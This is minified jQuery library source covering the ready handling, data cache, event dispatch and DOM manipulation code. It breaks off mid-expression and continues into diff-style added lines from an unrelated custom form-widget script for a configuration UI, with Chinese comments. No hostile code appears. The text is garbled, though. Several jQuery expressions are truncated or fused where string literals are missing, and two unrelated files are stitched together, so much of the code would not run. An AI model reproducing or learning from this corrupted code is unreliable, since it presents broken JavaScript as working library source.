n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){if(a===!0?!--n.readyWait:!n.isReady){if(!z.body){return setTimeout(n.ready)}n.isReady=!0,a!==!0&&--n.readyWait>0||(I.resolveWith(z,[n]),n.fn.trigger&&n(z).trigger("ready").off("ready"))}}});function J(){z.addEventListener?(z.removeEventListener("DOMContentLoaded",K,!1),a.removeEventListener("load",K,!1)):(z.detachEvent("onreadystatechange",K),a.detachEvent("onload",K))}function K(){(z.addEventListener||"load"===event.type||"complete"===z.readyState)&&(J(),n.ready())}n.ready.promise=function(b){if(!I){if(I=n.Deferred(),"complete"===z.readyState){setTimeout(n.ready)}else{if(z.addEventListener){z.addEventListener("DOMContentLoaded",K,!1),a.addEventListener("load",K,!1)}else{z.attachEvent("onreadystatechange",K),a.attachEvent("onload",K);var c=!1;try{c=null==a.frameElement&&z.documentElement}catch(d){}c&&c.doScroll&&!function e(){if(!n.isReady){try{c.doScroll("left")}catch(a){return setTimeout(e,50)}J(),n.ready()}}()}}}return I.promise(b)};var L="undefined",M;for(M in n(l)){break}l.ownLast="0"!==M,l.inlineBlockNeedsLayout=!1,n(function(){var a,b,c=z.getElementsByTagName("body")[0];c&&(a=z.createElement("div"),a.style.cssText="border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px",b=z.createElement("div"),c.appendChild(a).appendChild(b),typeof b.style.zoom!==L&&(b.style.cssText="border:0;margin:0;width:1px;padding:1px;display:inline;zoom:1",(l.inlineBlockNeedsLayout=3===b.offsetWidth)&&(c.style.zoom=1)),c.removeChild(a),a=b=null)}),function(){var a=z.createElement("div");if(null==l.deleteExpando){l.deleteExpando=!0;try{delete a.test}catch(b){l.deleteExpando=!1}}a=null}(),n.acceptData=function(a){var b=n.noData[(a.nodeName+" ").toLowerCase()],c=+a.nodeType||1;return 1!==c&&9!==c?!1:!b||b!==!0&&a.getAttribute("classid")===b};var N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){if(void 0===c&&1===a.nodeType){var d="data-"+b.replace(O,"-$1").toLowerCase();if(c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}n.data(a,b,c)}else{c=void 0}}return c}function Q(a){var b;for(b in a){if(("data"!==b||!n.isEmptyObject(a[b]))&&"toJSON"!==b){return !1}}return !0}function R(a,b,d,e){if(n.acceptData(a)){var f,g,h=n.expando,i=a.nodeType,j=i?n.cache:a,k=i?a[h]:a[h]&&h;if(k&&j[k]&&(e||j[k].data)||void 0!==d||"string"!=typeof b){return k||(k=i?a[h]=c.pop()||n.guid++:h),j[k]||(j[k]=i?{}:{toJSON:n.noop}),("object"==typeof b||"function"==typeof b)&&(e?j[k]=n.extend(j[k],b):j[k].data=n.extend(j[k].data,b)),g=j[k],e||(g.data||(g.data={}),g=g.data),void 0!==d&&(g[n.camelCase(b)]=d),"string"==typeof b?(f=g[b],null==f&&(f=g[n.camelCase(b)])):f=g,f}}}function S(a,b,c){if(n.acceptData(a)){var d,e,f=a.nodeType,g=f?n.cache:a,h=f?a[n.expando]:n.expando;if(g[h]){if(b&&(d=c?g[h]:g[h].data)){n.isArray(b)?b=b.concat(n.map(b,n.camelCase)):b in d?b=[b]:(b=n.camelCase(b),b=b in d?[b]:b.split(" ")),e=b.length;while(e--){delete d[b[e]]}if(c?!Q(d):!n.isEmptyObject(d)){return}}(c||(delete g[h].data,Q(g[h])))&&(f?n.cleanData([a],!0):l.deleteExpando||g!=g.window?delete g[h]:g[h]=null)}}}n.extend({cache:{},noData:{"applet ":!0,"embed ":!0,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(a){return a=a.nodeType?n.cache[a[n.expando]]:a[n.expando],!!a&&!Q(a)},data:function(a,b,c){return R(a,b,c)},removeData:function(a,b){return S(a,b)},_data:function(a,b,c){return R(a,b,c,!0)},_removeData:function(a,b){return S(a,b,!0)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=n.data(f),1===f.nodeType&&!n._data(f,"parsedAttrs"))){c=g.length;while(c--){d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d]))}n._data(f,"parsedAttrs",!0)}return e}return"object"==typeof a?this.each(function(){n.data(this,a)}):arguments.length>1?this.each(function(){n.data(this,a,b)}):f?P(f,a,n.data(f,a)):void 0},removeData:function(a){return this.each(function(){n.removeData(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=n._data(a,b),c&&(!d||n.isArray(c)?d=n._data(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return n._data(a,c)||n._data(a,c,{empty:n.Callbacks("once memory").add(function(){n._removeData(a,b+"queue"),n._removeData(a,c)})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthh;h++){b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)))}}}return e?a:j?b.call(a):i?b(a[0],c):f},X=/^(?:checkbox|radio)$/i;!function(){var a=z.createDocumentFragment(),b=z.createElement("div"),c=z.createElement("input");if(b.setAttribute("className","t"),b.innerHTML="
    a",l.leadingWhitespace=3===b.firstChild.nodeType,l.tbody=!b.getElementsByTagName("tbody").length,l.htmlSerialize=!!b.getElementsByTagName("link").length,l.html5Clone="<:nav>"!==z.createElement("nav").cloneNode(!0).outerHTML,c.type="checkbox",c.checked=!0,a.appendChild(c),l.appendChecked=c.checked,b.innerHTML="",l.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue,a.appendChild(b),b.innerHTML="",l.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,l.noCloneEvent=!0,b.attachEvent&&(b.attachEvent("onclick",function(){l.noCloneEvent=!1}),b.cloneNode(!0).click()),null==l.deleteExpando){l.deleteExpando=!0;try{delete b.test}catch(d){l.deleteExpando=!1}}a=b=c=null}(),function(){var b,c,d=z.createElement("div");for(b in {submit:!0,change:!0,focusin:!0}){c="on"+b,(l[b+"Bubbles"]=c in a)||(d.setAttribute(c,"t"),l[b+"Bubbles"]=d.attributes[c].expando===!1)}d=null}();var Y=/^(?:input|select|textarea)$/i,Z=/^key/,$=/^(?:mouse|contextmenu)|click/,_=/^(?:focusinfocus|focusoutblur)$/,ab=/^([^.]*)(?:\.(.+)|)$/;function bb(){return !0}function cb(){return !1}function db(){try{return z.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n._data(a);if(r){c.handler&&(i=c,c=i.handler,e=i.selector),c.guid||(c.guid=n.guid++),(g=r.events)||(g=r.events={}),(k=r.handle)||(k=r.handle=function(a){return typeof n===L||a&&n.event.triggered===a.type?void 0:n.event.dispatch.apply(k.elem,arguments)},k.elem=a),b=(b||"").match(F)||[""],h=b.length;while(h--){f=ab.exec(b[h])||[],o=q=f[1],p=(f[2]||"").split(".").sort(),o&&(j=n.event.special[o]||{},o=(e?j.delegateType:j.bindType)||o,j=n.event.special[o]||{},l=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},i),(m=g[o])||(m=g[o]=[],m.delegateCount=0,j.setup&&j.setup.call(a,d,p,k)!==!1||(a.addEventListener?a.addEventListener(o,k,!1):a.attachEvent&&a.attachEvent("on"+o,k))),j.add&&(j.add.call(a,l),l.handler.guid||(l.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,l):m.push(l),n.event.global[o]=!0)}a=null}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n.hasData(a)&&n._data(a);if(r&&(k=r.events)){b=(b||"").match(F)||[""],j=b.length;while(j--){if(h=ab.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=k[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),i=f=m.length;while(f--){g=m[f],!e&&q!==g.origType||c&&c.guid!==g.guid||h&&!h.test(g.namespace)||d&&d!==g.selector&&("**"!==d||!g.selector)||(m.splice(f,1),g.selector&&m.delegateCount--,l.remove&&l.remove.call(a,g))}i&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete k[o])}else{for(o in k){n.event.remove(a,o+b[j],c,d,!0)}}}n.isEmptyObject(k)&&(delete r.handle,n._removeData(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,l,m,o=[d||z],p=j.call(b,"type")?b.type:b,q=j.call(b,"namespace")?b.namespace.split("."):[];if(h=l=d=d||z,3!==d.nodeType&&8!==d.nodeType&&!_.test(p+n.event.triggered)&&(p.indexOf(".")>=0&&(q=p.split("."),p=q.shift(),q.sort()),g=p.indexOf(":")<0&&"on"+p,b=b[n.expando]?b:new n.Event(p,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=q.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),k=n.event.special[p]||{},e||!k.trigger||k.trigger.apply(d,c)!==!1)){if(!e&&!k.noBubble&&!n.isWindow(d)){for(i=k.delegateType||p,_.test(i+p)||(h=h.parentNode);h;h=h.parentNode){o.push(h),l=h}l===(d.ownerDocument||z)&&o.push(l.defaultView||l.parentWindow||a)}m=0;while((h=o[m++])&&!b.isPropagationStopped()){b.type=m>1?i:k.bindType||p,f=(n._data(h,"events")||{})[b.type]&&n._data(h,"handle"),f&&f.apply(h,c),f=g&&h[g],f&&f.apply&&n.acceptData(h)&&(b.result=f.apply(h,c),b.result===!1&&b.preventDefault())}if(b.type=p,!e&&!b.isDefaultPrevented()&&(!k._default||k._default.apply(o.pop(),c)===!1)&&n.acceptData(d)&&g&&d[p]&&!n.isWindow(d)){l=d[g],l&&(d[g]=null),n.event.triggered=p;try{d[p]()}catch(r){}n.event.triggered=void 0,l&&(d[g]=l)}return b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(n._data(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,g=0;while((e=f.handlers[g++])&&!a.isImmediatePropagationStopped()){(!a.namespace_re||a.namespace_re.test(e.namespace))&&(a.handleObj=e,a.data=e.data,c=((n.event.special[e.origType]||{}).handle||e.handler).apply(f.elem,i),void 0!==c&&(a.result=c)===!1&&(a.preventDefault(),a.stopPropagation()))}}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type)){for(;i!=this;i=i.parentNode||this){if(1===i.nodeType&&(i.disabled!==!0||"click"!==a.type)){for(e=[],f=0;h>f;f++){d=b[f],c=d.selector+" ",void 0===e[c]&&(e[c]=d.needsContext?n(c,this).index(i)>=0:n.find(c,this,null,[i]).length),e[c]&&e.push(d)}e.length&&g.push({elem:i,handlers:e})}}}return h]","i"),ib=/^\s+/,jb=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,kb=/<([\w:]+)/,lb=/\s*$/g,sb={option:[1,""],legend:[1,"
    ","
    "],area:[1,"",""],param:[1,"",""],thead:[1,"","
    "],tr:[2,"","
    "],col:[2,"","
    "],td:[3,"","
    "],_default:l.htmlSerialize?[0,"",""]:[1,"X
    ","
    "]},tb=eb(z),ub=tb.appendChild(z.createElement("div"));sb.optgroup=sb.option,sb.tbody=sb.tfoot=sb.colgroup=sb.caption=sb.thead,sb.th=sb.td;function vb(a,b){var c,d,e=0,f=typeof a.getElementsByTagName!==L?a.getElementsByTagName(b||"*"):typeof a.querySelectorAll!==L?a.querySelectorAll(b||"*"):void 0;if(!f){for(f=[],c=a.childNodes||a;null!=(d=c[e]);e++){!b||n.nodeName(d,b)?f.push(d):n.merge(f,vb(d,b))}}return void 0===b||b&&n.nodeName(a,b)?n.merge([a],f):f}function wb(a){X.test(a.type)&&(a.defaultChecked=a.checked)}function xb(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function yb(a){return a.type=(null!==n.find.attr(a,"type"))+"/"+a.type,a}function zb(a){var b=qb.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Ab(a,b){for(var c,d=0;null!=(c=a[d]);d++){n._data(c,"globalEval",!b||n._data(b[d],"globalEval"))}}function Bb(a,b){if(1===b.nodeType&&n.hasData(a)){var c,d,e,f=n._data(a),g=n._data(b,f),h=f.events;if(h){delete g.handle,g.events={};for(c in h){for(d=0,e=h[c].length;e>d;d++){n.event.add(b,c,h[c][d])}}}g.data&&(g.data=n.extend({},g.data))}}function Cb(a,b){var c,d,e;if(1===b.nodeType){if(c=b.nodeName.toLowerCase(),!l.noCloneEvent&&b[n.expando]){e=n._data(b);for(d in e.events){n.removeEvent(b,d,e.handle)}b.removeAttribute(n.expando)}"script"===c&&b.text!==a.text?(yb(b).text=a.text,zb(b)):"object"===c?(b.parentNode&&(b.outerHTML=a.outerHTML),l.html5Clone&&a.innerHTML&&!n.trim(b.innerHTML)&&(b.innerHTML=a.innerHTML)):"input"===c&&X.test(a.type)?(b.defaultChecked=b.checked=a.checked,b.value!==a.value&&(b.value=a.value)):"option"===c?b.defaultSelected=b.selected=a.defaultSelected:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}}n.extend({clone:function(a,b,c){var d,e,f,g,h,i=n.contains(a.ownerDocument,a);if(l.html5Clone||n.isXMLDoc(a)||!hb.test("<"+a.nodeName+">")?f=a.cloneNode(!0):(ub.innerHTML=a.outerHTML,ub.removeChild(f=ub.firstChild)),!(l.noCloneEvent&&l.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a))){for(d=vb(f),h=vb(a),g=0;null!=(e=h[g]);++g){d[g]&&Cb(e,d[g])}}if(b){if(c){for(h=h||vb(a),d=d||vb(f),g=0;null!=(e=h[g]);g++){Bb(e,d[g])}}else{Bb(a,f)}}return d=vb(f,"script"),d.length>0&&Ab(d,!i&&vb(a,"script")),d=h=e=null,f},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k,m=a.length,o=eb(b),p=[],q=0;m>q;q++){if(f=a[q],f||0===f){if("object"===n.type(f)){n.merge(p,f.nodeType?[f]:f)}else{if(mb.test(f)){h=h||o.appendChild(b.createElement("div")),i=(kb.exec(f)||["",""])[1].toLowerCase(),k=sb[i]||sb._default,h.innerHTML=k[1]+f.replace(jb,"<$1>")+k[2],e=k[0];while(e--){h=h.lastChild}if(!l.leadingWhitespace&&ib.test(f)&&p.push(b.createTextNode(ib.exec(f)[0])),!l.tbody){f="table"!==i||lb.test(f)?""!==k[1]||lb.test(f)?0:h:h.firstChild,e=f&&f.childNodes.length;while(e--){n.nodeName(j=f.childNodes[e],"tbody")&&!j.childNodes.length&&f.removeChild(j)}}n.merge(p,h.childNodes),h.textContent="";while(h.firstChild){h.removeChild(h.firstChild)}h=o.lastChild}else{p.push(b.createTextNode(f))}}}}h&&o.removeChild(h),l.appendChecked||n.grep(vb(p,"input"),wb),q=0;while(f=p[q++]){if((!d||-1===n.inArray(f,d))&&(g=n.contains(f.ownerDocument,f),h=vb(o.appendChild(f),"script"),g&&Ab(h),c)){e=0;while(f=h[e++]){pb.test(f.type||"")&&c.push(f)}}}return h=null,o},cleanData:function(a,b){for(var d,e,f,g,h=0,i=n.expando,j=n.cache,k=l.deleteExpando,m=n.event.special;null!=(d=a[h]);h++){if((b||n.acceptData(d))&&(f=d[i],g=f&&j[f])){if(g.events){for(e in g.events){m[e]?n.event.remove(d,e):n.removeEvent(d,e,g.handle)}}j[f]&&(delete j[f],k?delete d[i]:typeof d.removeAttribute!==L?d.removeAttribute(i):d[i]=null,c.push(f))}}}}),n.fn.extend({text:function(a){return W(this,function(a){return void 0===a?n.text(this):this.empty().append((this[0]&&this[0].ownerDocument||z).createTextNode(a))},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=xb(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=xb(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++){b||1!==c.nodeType||n.cleanData(vb(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&Ab(vb(c,"script")),c.parentNode.removeChild(c))}return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++){1===a.nodeType&&n.cleanData(vb(a,!1));while(a.firstChild){a.removeChild(a.firstChild)}a.options&&n.nodeName(a,"select")&&(a.options.length=0)}return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return W(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a){return 1===b.nodeType?b.innerHTML.replace(gb,""):void 0}if(!("string"!=typeof a||nb.test(a)||!l.htmlSerialize&&hb.test(a)||!l.leadingWhitespace&&ib.test(a)||sb[(kb.exec(a)||["",""])[1].toLowerCase()])){a=a.replace(jb,"<$1>");try{for(;d>c;c++){b=this[c]||{},1===b.nodeType&&(n.cleanData(vb(b,!1)),b.innerHTML=a)}b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(vb(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,k=this.length,m=this,o=k-1,p=a[0],q=n.isFunction(p);if(q||k>1&&"string"==typeof p&&!l.checkClone&&ob.test(p)){return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)})}if(k&&(i=n.buildFragment(a,this[0].ownerDocument,!1,this),c=i.firstChild,1===i.childNodes.length&&(i=c),c)){for(g=n.map(vb(i,"script"),yb),f=g.length;k>j;j++){d=i,j!==o&&(d=n.clone(d,!0,!0),f&&n.merge(g,vb(d,"script"))),b.call(this[j],d,j)}if(f){for(h=g[g.length-1].ownerDocument,n.map(g,zb),j=0;f>j;j++){d=g[j],pb.test(d.type||"")&&!n._data(d,"globalEval")&&n.contains(h,d)&&(d.src?n._evalUrl&&n._evalUrl(d.src):n.globalEval((d.text||d.textContent||d.innerHTML||"").replace(rb,"")))}}i=c=null}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=0,e=[],g=n(a),h=g.length-1;h>=d;d++){c=d===h?this:this.clone(!0),n(g[d])[b](c),f.apply(e,c.get())}return this.pushStack(e)}});var Db,Eb={};function Fb(b,c){var d=n(c.createElement(b)).appendTo(c.body),e=a.getDefaultComputedStyle?a.getDefaultComputedStyle(d[0]).display:n.css(d[0],"display");return d.detach(),e}function Gb(a){var b=z,c=Eb[a];return c||(c=Fb(a,b),"none"!==c&&c||(Db=(Db||n("'); + }} + this.children = new Array(); + this.parent = {}; + this.setClass = function(classname){ + _this.entity.className = classname; + } + this.setAttr = function(parame){ + for(var i in parame){ + _this.entity.setAttribute(i,parame[i]); + } + }; + this.set = function(o){ + var cs = o.css; + var h = o.html; + if(cs){ + for(var i in cs){ + _this.entity.style[i] = cs[i]; + } + } + if(h){ + _this.html(h); + } + } + this.setName = function(name){ + _this.entity.setAttribute("name",name); + _this.Name = name + } + this.setID = function(id){ + _this.entity.setAttribute("id",id); + _this.ID = id; + } + this.setValue = function(val){ + this.entity.value = val; + this.value = val; + } + this.append = function(child){ + this.entity.appendChild(child.entity); + this.children.push(child); + child.parent = this; + } + this.push = function(){ + var eles = arguments; + for(var i=0;i" + if($.Debug){ + alert("请检查你的配置文件中tag的name与Language中的name是否相同!"); + } + } + this.html(lab + " : "); +} +function DefaultInput(tag,type,tt){ + if(!tag){ + tag = new DefaultTag(); + tag.type = tt; + } + Element.call(this,"INPUT",null,tag); + var input = this; + input.tag = tag; + this.entity.type = type; + //this.entity.setAttribute('type',type); + switch(type){ + case "hidden": + input.setValue = function(val){ + if(val){ + input.entity.value = val; + input.tag.data = val; + } + } + break; + case "text": + input.setClass("df_text"); + if(input.tag.mode=="nocopy"){ + input.entity.oncopy = function(){return false;} + } + if(input.tag.len){ + input.entity.maxLength = input.tag.len; + } + if(input.tag.ch_key){ + input.setName(input.tag.ch_key); + }else{ + input.setName("text_common"); + input.tag.ch_key = "text_common"; + } + input.setID(tag.name); + input.getCheck = function(type){ + if(!type){ + type = input.tag.ch_key; + } + return checkText(input,type); + } + input.setValue = function(val){ + if(val){ + input.entity.value = val; + input.tag.data = val; + } + } + input.setData = function(val){ + if(!val && val != '' && val != ' '){ + return; + } + input.setValue(val); + input.tag.data = val; + }; + input.entity.onkeyup = function(){ + input.tag.data =this.value; + //setCurrentData(this.value,input.tag.name); + $.CurrentData[tag.name] = this.value; + } + input.entity.onfocus = function(){ + this.style.border = "solid 1px #8fc7fa"; + if(this.value == ' '){ + this.value = this.value.replace(/^\s+|\s+$/g,''); + input.tag.data = this.value; + } + } + input.entity.onblur= function(){ + this.style.border = "solid 1px #d2d2d2"; + } + break; + case "password": + input.setClass("df_text"); + input.entity.oncopy = function(){ + return false; // can't copy it. + } + if(input.tag.len){ + input.entity.maxLength = input.tag.len; + } + if(input.tag.ch_key){ + input.setName(input.tag.ch_key); + }else{ + input.setName("text_common"); + input.tag.ch_key = "text_common"; + } + input.setID(tag.name); + input.getCheck = function(type){ + if(!type){ + type = input.tag.ch_key; + } + return checkText(input,type); + } + input.setValue = function(val){ + if(val){ + input.entity.value = val; + input.tag.data = val; + } + } + input.setData = function(val){ + if(!val && val != '' && val != ' '){ + return; + } + input.setValue(val); + input.tag.data = val; + }; + input.entity.onkeyup = function(){ + input.tag.data =this.value; + } + input.entity.onfocus = function(){ + this.style.border = "solid 1px #8fc7fa"; + } + input.entity.onblur= function(){ + this.style.border = "solid 1px #d2d2d2"; + } + break; + case "radio": + input.setName(tag.name); + input.setClass("df_radio"); + input.entity.onclick = function(){ + input.checked(); + if(tag.action){ + $.exec(tag.action,tag); + } + }; + input.checked = function(){ + this.entity.checked = true; + var co = document.getElementsByName(tag.name); + for(var i=0;i +function DefaultFile(tag){ + Element.call(this,"IFRAME:df_file"); + this.entity.setAttribute('frameBorder', 0); + +} +//默认Panel +function DefaultPanel(pan){ + if($.BrowserVersion.indexOf('IE6')!= -1){ + Element.call(this,"DIV:df_panel_ie"); + }else{ + Element.call(this,"DIV:df_panel"); + } + this.eleType = "panel"; + var title = new DefaultPanelTitle(pan); + var content = new DefaultPanelContent(pan); + this.push(title,content); + this.title = title; + this.content = content; + if(pan.display == '0'){ + this.hide(); + } +} +function DefaultPanelTitle(pan){ + Element.call(this,"DIV:df_panel_title"); + var title = $.getLan(pan.name + "_panel"); + if(!title){ + this.hide(); + return; + } + this.html(title); +} +function DefaultPanelContent(pan){ + Element.call(this,"DIV:df_panel_content"); +} +function initDefaultPanel(pan){ + var panel = new DefaultPanel(pan); + return panel; +} +function InitAppTag(tag){ + switch(tag.type){ + case "simple_hidden": return initSimpleHidden(tag); break; + case "simple_three": return initSimpleThree(tag); break; + case "simple_text": return initSimpleText(tag); break; + case "simple_pwd": return initSimpleText(tag,1); break; + case "text_limit": return initTextLimit(tag); break; + case "text_more": return initTextMore(tag); break; + case "text_two": return initTextTwo(tag); break; + case "radio_group": return initRadioGroup(tag); break; + case "only_check": return initOnlyCheck(tag); break; + case "simple_check": return initSimpleCheck(tag); break; + case "simple_context": return initSimpleContext(tag); break; + case "info_context": return initInfoContext(tag); break; + case "simple_btn": return initSimpleButton(tag); break; + case "btn_array": return initButtonArray(tag); break; + case "simple_select": return initSimpleSelect(tag); break; + case "simple_week": return initSimpleWeek(tag); break; + case "simple_time": return initSimpleTime(tag); break; + case "simple_file": return initSimpleFile(tag); break; + case "simple_load": return initSimpleLoad(tag); break; + case "simple_table": return initSimpleTable(tag); break; + case "simple_flot": return initSimpleFlot(tag); break; + default: + var t = new DefaultTag(tag); + obj2obj(tag,t); + return t; + break; + } +} +//默认Tag +function DefaultTag(tag){ + if($.BrowserVersion.indexOf('IE6')!= -1){ + Element.call(this,"DIV:df_tag_ie"); + }else{ + Element.call(this,"DIV:df_tag"); + } + this.eleType = "tag"; +} +function SimpleHiddenTag(tag){ + DefaultTag.call(this,tag); + var hidden = new DefaultInput(tag,'hidden'); +} +function initSimpleHidden(t){ + var tag = new SimpleHiddenTag(t); + return tag; +} +//默认文本框 +function SimpleTextTag(tag,sta){ + DefaultTag.call(this,tag); + var label = new DefaultLabel(tag); + if(sta){ + var text = new DefaultInput(tag,"password"); + }else{ + var text = new DefaultInput(tag,"text"); + } + if(tag.df){ + text.setValue(tag.df); + tag.data = tag.df; + } + var check = new Element("DIV:df_check_panel"); + var layer = new Element("DIV:df_check_layer"); + var info = new Element("DIV:df_check_info"); + var p = new Element("DIV:df_check_p"); + layer.push(info,p); + check.push(layer); + check.info = info; + var after = new DefaultAfter(tag); + if(tag.mode=='1'){ + var btn = new DefaultInput(tag,'button'); + // this.push(label,text,btn,check,after); + this.push(label,text,btn); + }else if(tag.mode=='2'){ + var btn_a = new DefaultInput(tag,'button'); + var btn_b = new DefaultInput(tag,'button'); + btn_a.entity.value = $.CommonLan['current']; + btn_b.entity.value = $.CommonLan['device']; + after.setClass("df_after_three"); + this.push(label,text,btn_a,btn_b,check,after); + }else if(tag.mode=='3'){ + label.setClass("df_label_two"); + after.setClass("df_after_two"); + this.push(label,text,check,after); + }else{ + if(tag.mode=='4'&&$.BrowserVersion.indexOf('IE')!=-1){after.setClass("df_after_ie");} + this.push(label,text,check,after); + } + if(tag.mode=='1'){ + this.btn=btn; + }else if(tag.mode=='2'){ + this.btn_a=btn_a; + this.btn_b=btn_b; + } + this.label = label; + this.text = text; + this.check = check; + this.after = after; + obj2obj(tag,this); +} +function initSimpleText(t,sta){ + var tag = new SimpleTextTag(t,sta); + return tag; +} +function initSimpleTextFunction(tag){ + setTagData(tag.text,tag); +} + +function SimpleThreeTag(tag){ + DefaultTag.call(this,tag); + var label = new DefaultLabel(tag); + this.append(label); + var text_a = new DefaultInput(tag,"text"); + text_a.entity.id = tag.name; + text_a.entity.maxLength = '4', + text_a.setClass("df_time_text"); + var after_a = new DefaultAfter(tag); + var text_b = new DefaultInput(tag,"text"); + text_b.entity.id = tag.name+"2"; + text_b.entity.maxLength = '2', + text_b.setClass("df_time_text"); + var after_b = new DefaultAfter(tag,2); + var text_c = new DefaultInput(tag,"text"); + text_c.entity.id = tag.name+"3"; + text_c.entity.maxLength = '2', + text_c.setClass("df_time_text"); + var after_c = new DefaultAfter(tag,3); + + this.push(text_a,after_a,text_b,after_b,text_c,after_c); + + this.label = label; + this.text_a = text_a; + this.after_a = after_a; + this.text_b = text_b; + this.after_b = after_b; + this.text_c = text_c; + this.after_c = after_c; + obj2obj(tag,this); +} +function initSimpleThree(tag){ + var tag = new SimpleThreeTag(tag); + return tag; +} + +function TextLimitTag(tag){ + DefaultTag.call(this); + var label = new DefaultLabel(tag); + this.append(label); + if(tag.mode){ + var select = new DefaultSelect(tag); + this.append(select); + this.select = select; + } + var text_a = new DefaultInput(tag,"text"); + text_a.entity.id = tag.name+'_start'; + text_a.entity.style.width = '72px';//40px + text_a.entity.maxLength = "5"; + var text_b = new DefaultInput(tag,"text"); + text_b.entity.id = tag.name+'_end'; + text_b.entity.style.width = '72px'; + text_b.entity.maxLength = "5"; + var line = new Element("SPAN"); + //line.setAttr({"style":"float:left;height:25px;line-height:25px;"}); + line.setClass('df_limit_line'); + line.html("-"); + this.push(text_a,line,text_b); + this.label = label; + this.text_a = text_a; + this.text_b = text_b; + obj2obj(tag,this); +} +function initTextLimit(tag){ + var tag = new TextLimitTag(tag); + return tag; +} +function TextMoreTag(tag){ + DefaultTag.call(this); + var label = new DefaultLabel(tag); + this.append(label); + if(tag.mode=='2'){ + var select = new DefaultSelect(tag); + this.append(select); + } + var label_a = new Element("SPAN:txt_more"); + label_a.html($.getLan(tag.name + "_label_a")); + var text_a = new DefaultInput(tag,"text"); + text_a.entity.style.width = '40px'; + text_a.entity.id = tag.name+'_start'; + if(tag.df){ + 